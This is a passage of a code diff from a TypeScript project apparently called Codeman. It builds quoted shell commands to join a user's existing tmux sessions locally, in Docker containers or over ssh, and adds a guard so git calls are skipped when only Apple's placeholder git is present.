* Unlike `foreignSessionId` this is not opaque, and it stays on the server: the
* opaque id encodes a discovery detail a restored wrapper does not carry, while
* everything here is on `SessionAdopt` too.
*/
export function foreignTargetKey(target: ForeignTargetIdentity): string {
// \u0000 as an ESCAPE: see the note in candidatesFrom() about NUL bytes in source.
return [target.location, target.hostId ?? '', target.containerName ?? '', target.socketPath, target.sessionName].join(
'\u0000'
);
}
/** A wrapper's adoption record, as the identity of the foreign session it wraps. */
export function adoptTargetIdentity(adopt: SessionAdopt): ForeignTargetIdentity {
return {
location: adopt.location,
hostId: adopt.docker?.hostId ?? adopt.remote?.hostId,
containerName: adopt.docker?.containerName,
socketPath: adopt.socketPath,
sessionName: adopt.targetSession,
};
}
function fnv1a(input: string): string {
let h = 0x811c9dc5;
for (let i = 0; i < input.length; i += 1) {
h ^= input.charCodeAt(i);
h = Math.imul(h, 0x01000193) >>> 0;
}
return h.toString(16).padStart(8, '0');
}
/**
* Our grouped view session's name on the FOREIGN server. Deliberately prefixed
* `codeman-view-` so a human looking at their own `tmux ls` can see what joined
* them, and so a second Codeman's discovery excludes it (the `codeman-` prefix
* rule above).
*/
export function foreignViewSessionName(sessionId: string): string {
return `codeman-view-${sessionId.slice(0, 8)}`;
}
// ===========================================================================
// Attach command builders
// ===========================================================================
/** Single-quote for POSIX sh. Local copy so this module stays dependency-free. */
export function fshq(str: string): string {
return `'${String(str).replace(/'/g, `'\\''`)}'`;
}
export interface ForeignAttachTarget {
socketPath: string;
targetSession: string;
viewSession: string;
}
/**
* The tmux invocation that joins a foreign session, as ONE line of POSIX sh.
*
* Shape and why:
* command -v tmux || { echo no tmux; exit 127; } ;
* tmux -S <sock> has-session -t '=<target>' || { echo gone; exit 1; } ;
* tmux -S <sock> kill-session -t '=<view>' 2>/dev/null ;
* exec tmux -u -S <sock> new-session -t <target> -s <view> ; set destroy-unattached on ; set status off
*
* - ⚠️ `command -v` first because the guard below fires on ANY failure, and "tmux is
* not on this PATH" (exit 127, hidden by the `2>/dev/null`) must not be told to the
* user as "your session is gone" while it is running.
* - `-u` on the client: in a POSIX locale it otherwise writes the tab as if the
* terminal were ASCII (measured: `_ hello qqq ____` for `❯ hello ─── 你好`). Only
* the join needs it, since the guard prints nothing and tmux compares a target
* name as bytes in any locale.
* - ⚠️ The `has-session` guard comes FIRST because `new-session -t` does not fail
* on a missing target, it invents one. Measured on tmux 3.4: with `work` gone it
* joined `work-prod`, with nothing matching it created a fresh shell, and on a
* socket with no server it STARTED one. This line re-runs every time the wrapper
* pane is respawned, and boot recovery does that for every dead pane, so once the
* owner exits their session the next Codeman restart would leave a new shell on
* their machine, in their container or on their ssh host. `=` is what makes the
* check exact (no prefix match), and `2>/dev/null` keeps tmux's own "no server"
* noise out of the pane: the message we print says it better. The check only holds
* for a name `new-session -t` also reads as a name, which is what
* `isAdoptableSessionName` keeps true (see `TMUX_TARGET_SYNTAX`).
* - ⚠️ The `=` prefix cannot stand in for that check on `new-session -t`: with the
* target gone tmux takes it as part of the name and creates a group literally
* called `=work`. It has to be a separate `has-session`.
* - `new-session -t` creates a session in the target's GROUP: same windows, our
* own session options and current window (NOT our own size, see @fileoverview
* for the measurement that disproved that).
* - `status off` is why grouping earns its keep: it lands on OUR session, so the
* owner's status bar is untouched.
* - No `-d`: the session must be attached before `destroy-unattached` lands on it.
* - The escaped semicolons reach tmux as plain command separators after one shell
* parse, the same convention the docker launch chain uses.
* - ⚠️ There is NO degraded fallback, on purpose. A read-only `attach-session -r`
* used to hang off `||` "for a tmux too old to group", but `||` fires on ANY
* `new-session` failure. The one that actually happens is a leftover view with
* the same name (the in-container leak described above): measured, `new-session`
* answers `duplicate session: codeman-view-…` and the fallback then handed the
* user a read-only client showing the owner's status bar, where everything typed
* is dropped while the API reports success. That is the worst shape a failure can
* take here. So: clear OUR OWN stale view first, then either group successfully
* or exit with a message.
* - The `kill-session` is safe by construction and cannot touch the human's work:
* the name is `codeman-view-<our own session id>`, `=` makes the match exact, and
* killing a session in a group removes only that session (measured: the owner's
* `work` survived its grouped view being killed). `2>/dev/null` because "no such
* session" is the normal case, not an error.
* - ⚠️ Nothing here touches the prefix table, unlike the nested servers Codeman runs
* itself (`nestedPrefixTableResetCommands`). Our own socket already has its table
* reduced by `createSession`, but key tables are SERVER-WIDE, so reducing the foreign
* one would rewrite the owner's keys for every session on their server, and it would
* outlive our detach. Same reason `window-size` is left alone above. The owner's
* bindings stay reachable from a tab, behind our own `send-prefix`, as theirs to use.
* - ⚠️ While the view exists the window has two sessions holding it, so an owner's
* `kill-session` on their own session leaves the window alive under the view
* (measured on tmux 3.4: `tmux ls` then shows only `codeman-view-…`, the shell keeps
* running) until the tab closes and `destroy-unattached` lets go of it. Exiting the
* shell inside the pane ends it at once, view and all. Nothing here can tell the two
* apart without a hook on the owner's server, which is not ours to install.
* - Single line: nothing here needs a second one. A real newline would survive
* `bash -c` now (`bashCArg()`), though not the JSON escaping this line crossed before.
*/
export function buildForeignTmuxInvocation(target: ForeignAttachTarget): string {
const sock = fshq(target.socketPath);
const t = fshq(target.targetSession);
// `=name` is tmux's exact-match form. Only for the two commands that LOOK UP a
// session; never for `new-session -t`, which would name the group `=name`.
const exact = fshq(`=${target.targetSession}`);
const v = fshq(target.viewSession);
const gone = fshq(
`Codeman: session ${target.targetSession} is gone. Codeman never creates a session it does not own.`
);
const noTmux = fshq('Codeman: tmux was not found here, so the session could not be opened. It may still be running.');
const tmuxCheck = `command -v tmux >/dev/null 2>&1 || { echo ${noTmux}; exit 127; }`;
const guard = `tmux -S ${sock} has-session -t ${exact} 2>/dev/null || { echo ${gone}; exit 1; }`;
// Our own leftover view from a previous adoption of the same Codeman session.
const dropStaleView = `tmux -S ${sock} kill-session -t ${fshq(`=${target.viewSession}`)} 2>/dev/null || true`;
const group =
`exec tmux -u -S ${sock} new-session -t ${t} -s ${v} \\; ` +
`set-option -t ${v} destroy-unattached on \\; ` +
`set-option -t ${v} status off`;
return `${tmuxCheck} ; ${guard} ; ${dropStaleView} ; ${group}`;
}
/** Local adoption: run the invocation directly in the wrapper pane. */
export function buildForeignAttachCommand(target: ForeignAttachTarget): string {
return buildForeignTmuxInvocation(target);
}
export interface ForeignDockerAttachOptions extends ForeignAttachTarget {
/** `buildDockerBaseArgs(...)` joined, e.g. `docker` or `docker --context foo`. */
dockerBase: string;
containerName: string;
}
/**
* Docker adoption: `docker exec -it` into the container and attach there.
*
* Mirrors the ADOPTED-container branch of `buildDockerLaunchCommand`: look, then
* exec. Never `create`, never `start`: the container belongs to the user, and a
* missing or stopped one fails closed with a message instead of being mutated.
*/
export function buildForeignDockerAttachCommand(opts: ForeignDockerAttachOptions): string {
const name = fshq(opts.containerName);
const notFound = fshq(
`Codeman: container ${opts.containerName} not found. Codeman never creates a container it does not own.`
);
const notRunning = fshq(
`Codeman: container ${opts.containerName} is not running. Codeman never starts a container it does not own.`
);
const inspect = `${opts.dockerBase} inspect ${name} >/dev/null 2>&1 || { echo ${notFound}; exit 1; }`;
const running =
`${opts.dockerBase} inspect -f ${fshq('{{.State.Running}}')} ${name} 2>/dev/null | grep -qx true ` +
`|| { echo ${notRunning}; exit 1; }`;
// The same terminal `resolveDockerLaunchOptions` gives an owned container's exec:
// `docker exec -it` defaults to TERM=xterm, which holds the tab to 8 colours.
const terminal = '-e TERM=xterm-256color -e COLORTERM=truecolor';
const exec = `exec ${opts.dockerBase} exec -it ${terminal} ${name} sh -lc ${fshq(buildForeignTmuxInvocation(opts))}`;
return [inspect, running, exec].join(' ; ');
}
/**
* Tear down OUR grouped view session inside a container.
*
* ⚠️ Needed for docker and NOT for the other two, which is a docker fact rather
* than a design choice. Killing the wrapper pane kills a LOCAL tmux client
* directly, and over ssh it sends SIGHUP to the remote client (the same
* propagation the non-owned remote attach has relied on since COD-105), either
* way the client detaches and `destroy-unattached on` collects the view.
* A `docker exec` process does NOT die when its client goes away: measured, the
* in-container tmux client stayed attached after the wrapper was killed, so the
* view session survived forever and every adoption leaked one of them plus its
* exec process.
*
* Killing a session by name affects ONLY that session, never the group's other
* members, so this can only ever remove the view Codeman created, never the
* human's session it is grouped with. Sibling of `buildDockerKillCommand`, and
* fired best-effort on the same path.
*/
export function buildForeignDockerViewKillCommand(opts: {
dockerBase: string;
containerName: string;
socketPath: string;
viewSession: string;
}): string {
return (
`${opts.dockerBase} exec ${fshq(opts.containerName)} ` +
`tmux -S ${fshq(opts.socketPath)} kill-session -t ${fshq(`=${opts.viewSession}`)}`
);
}
/**
* A POSIX script as the command line of an ssh connection.
*
* ssh hands its command to the remote user's LOGIN shell, which may be fish: the
* guard chain's `{ ...; }` and the probe's `${VAR:-x}` are POSIX, so they run in an
* explicit `sh`. The PATH line stays outside it because it is the part written for
* whatever that shell is (`withRemoteTmuxPath`), and sshd's non-interactive PATH can
* miss a Homebrew or per-user tmux, the same reason every other remote tmux call has
* it. Single-quote-free input stays single-quote-free here, and `exec` keeps the
* process tree one level shorter.
*/
export function foreignRemoteShellCommand(script: string): string {
return withRemoteTmuxPath(`exec sh -c ${fshq(script)}`);
}
export interface ForeignRemoteAttachOptions extends ForeignAttachTarget {
/** `buildSshConnectionArgs(host)`: `['ssh', '-o BatchMode=yes', ...]`. */
sshArgs: string[];
/** `remoteSshTarget(host)`: `user@host`. */
sshTarget: string;
}
/**
* Remote adoption: ssh in and attach there.
*
* `-t` goes right after `ssh -o BatchMode=yes`, exactly where
* `buildRemoteAttachCommand` puts it: interactive tmux needs a PTY. Connection
* options come from the shared `buildSshConnectionArgs`, never hand-built here,
* so adoption reaches a proxied/custom-port host on the same terms discovery did.
*/
export function buildForeignRemoteAttachCommand(opts: ForeignRemoteAttachOptions): string {
const [ssh, batchMode, ...rest] = opts.sshArgs;
return [
ssh,
batchMode,
'-t',
...rest,
opts.sshTarget,
fshq(foreignRemoteShellCommand(buildForeignTmuxInvocation(opts))),
]
.filter(Boolean)
.join(' ');
}
+20 -1
View File
@@ -54,6 +54,7 @@ import { lstat, readdir, rename, rm } from 'node:fs/promises';
import { basename, dirname, join } from 'node:path';
import { EXEC_TIMEOUT_MS } from './config/exec-timeout.js';
import { probePathKind } from './utils/bounded-path-probe.js';
import { gitMissingError, gitSpawnAllowed } from './utils/git-availability.js';
// ─── Tunables ────────────────────────────────────────────────────────────────
@@ -728,6 +729,17 @@ interface GitRun {
* signal is used rather than `child.kill()`.
*/
async function runGit(args: string[], timeoutMs: number, maxStdoutBytes: number): Promise<GitRun> {
// Never Apple's placeholder git on a Mac without developer tools: answered as a missing git.
if (!gitSpawnAllowed()) {
return {
stdout: '',
stderr: '',
code: null,
timedOut: false,
started: false,
spawnError: String(gitMissingError()),
};
}
// The queue wait spends the SAME deadline as the operation: `timeoutMs` is a
// promise about the whole call, not about git's runtime after some unbounded
// wait. A full queue is refused outright rather than queued.
@@ -814,10 +826,17 @@ async function runGit(args: string[], timeoutMs: number, maxStdoutBytes: number)
}
}
/** Is a usable `git` on this machine? Memoized: the answer cannot change without a restart. */
/**
* Is a usable `git` on this machine? Memoized: the answer cannot change without a restart. The one
* exception is a Mac whose only git is Apple's placeholder with no developer tools behind it: running
* that, even as `git --version`, opens macOS's "install the developer tools" window, so it is never
* run, and that refusal is not memoized here (the gate keeps its own short memory), so the page finds
* git once the tools are installed.
*/
let gitAvailable: boolean | null = null;
export function isGitAvailable(): boolean {
if (gitAvailable !== null) return gitAvailable;
if (!gitSpawnAllowed()) return false;
try {
execFileSync('git', ['--version'], {
encoding: 'utf-8',
+3 -1
View File
@@ -79,6 +79,8 @@ export interface GitFetchSessionView {
/** `unknown`, not `boolean`: a session's remote/Docker markers are objects, and the only question here is whether either is set at all. */
remote?: unknown;
docker?: unknown;
/** Set on a wrapper around a foreign tmux session: its `workingDir` is a neutral folder, never a repository. */
adopt?: unknown;
gitFetchEnabled?: boolean;
gitFetchIntervalSeconds?: number;
}
@@ -176,7 +178,7 @@ export class GitFetchScheduler {
const groups = new Map<string, GroupMember[]>();
for (const id of this.ports.sessionIds()) {
const view = this.ports.getSession(id);
if (!view || view.remote || view.docker) continue;
if (!view || view.remote || view.docker || view.adopt) continue;
const effective = effectiveGitFetch(view, settings);
if (!effective.enabled) continue;
const folder = resolve(view.workingDir);
+5 -1
View File
@@ -65,6 +65,7 @@ import {
resolveWorkspaceRepos,
type GitRunner,
} from './git-workspace-status.js';
import { gitMissingError, gitSpawnAllowed } from './utils/git-availability.js';
const execFileAsync = promisify(execFile);
@@ -205,6 +206,7 @@ export function fetchEnvFor(base: NodeJS.ProcessEnv, repoSshCommand: string | nu
* add a fifth git process or push a fetch past the user's timeout: it spends part of it.
*/
export async function readRepoSshCommand(cwd: string, timeoutMs: number): Promise<string | null> {
if (!gitSpawnAllowed()) return null;
try {
const { stdout } = await execFileAsync('git', ['config', '--get', 'core.sshCommand'], {
cwd,
@@ -240,6 +242,8 @@ export async function readRepoSshCommand(cwd: string, timeoutMs: number): Promis
* as a timeout without starting the fetch.
*/
export const runFetch: GitRunner = async (cwd, args, opts) => {
// Never Apple's placeholder git on a Mac without developer tools: answered as GIT_MISSING.
if (!gitSpawnAllowed()) throw gitMissingError();
const timeoutMs = opts?.timeoutMs ?? DEFAULT_GIT_TIMEOUT_MS;
const startedAt = Date.now();
const env = fetchEnvFor(process.env, await readRepoSshCommand(cwd, timeoutMs));
@@ -346,7 +350,7 @@ export interface GitFetchEntry {
export interface GitFetchReport {
/** `ok` when at least one repository was fetched (or attempted); the other states are as in the overview. */
state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
reason?: 'remote' | 'docker';
reason?: 'remote' | 'docker' | 'adopted';
error?: string;
/** One entry per repository fetched, in the same order the panel lists them. */
repos: GitFetchEntry[];
+5 -2
View File
@@ -50,6 +50,7 @@ import { homedir } from 'node:os';
import { basename, join, relative, sep } from 'node:path';
import { promisify } from 'node:util';
import { gitNonInteractiveEnv, redactGitCredentials } from './git-clone.js';
import { gitMissingError, gitSpawnAllowed } from './utils/git-availability.js';
const execFileAsync = promisify(execFile);
@@ -95,7 +96,7 @@ export interface GitWorkspaceStatus {
* `unsupported`: a remote or Docker session (never inspected). `error`: git failed; see `error`.
*/
state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
reason?: 'remote' | 'docker';
reason?: 'remote' | 'docker' | 'adopted';
error?: string;
repoRoot?: string;
/** Null when HEAD is detached. */
@@ -265,6 +266,8 @@ export function parseCommitLog(text: string): GitCommitEntry[] {
export type GitRunner = (cwd: string, args: string[], opts?: { timeoutMs?: number }) => Promise<string>;
export const runGit: GitRunner = async (cwd, args, opts) => {
// Never Apple's placeholder git on a Mac without developer tools (utils/git-availability.ts).
if (!gitSpawnAllowed()) throw gitMissingError();
const { stdout } = await execFileAsync(
'git',
// --no-optional-locks: never touch the index just to look. core.fsmonitor=false: do not start or
@@ -482,7 +485,7 @@ export interface GitRepoEntry {
export interface GitWorkspaceOverview {
/** `ok` when at least one repository was found; the other states are as in `GitWorkspaceStatus`. */
state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
reason?: 'remote' | 'docker';
reason?: 'remote' | 'docker' | 'adopted';
error?: string;
repos: GitRepoEntry[];
/** More than `repoLimit` repositories were found; only the first are reported. */
Loaded 100 of 315 files, more files were not shown because too many files have changed in this diff. Show more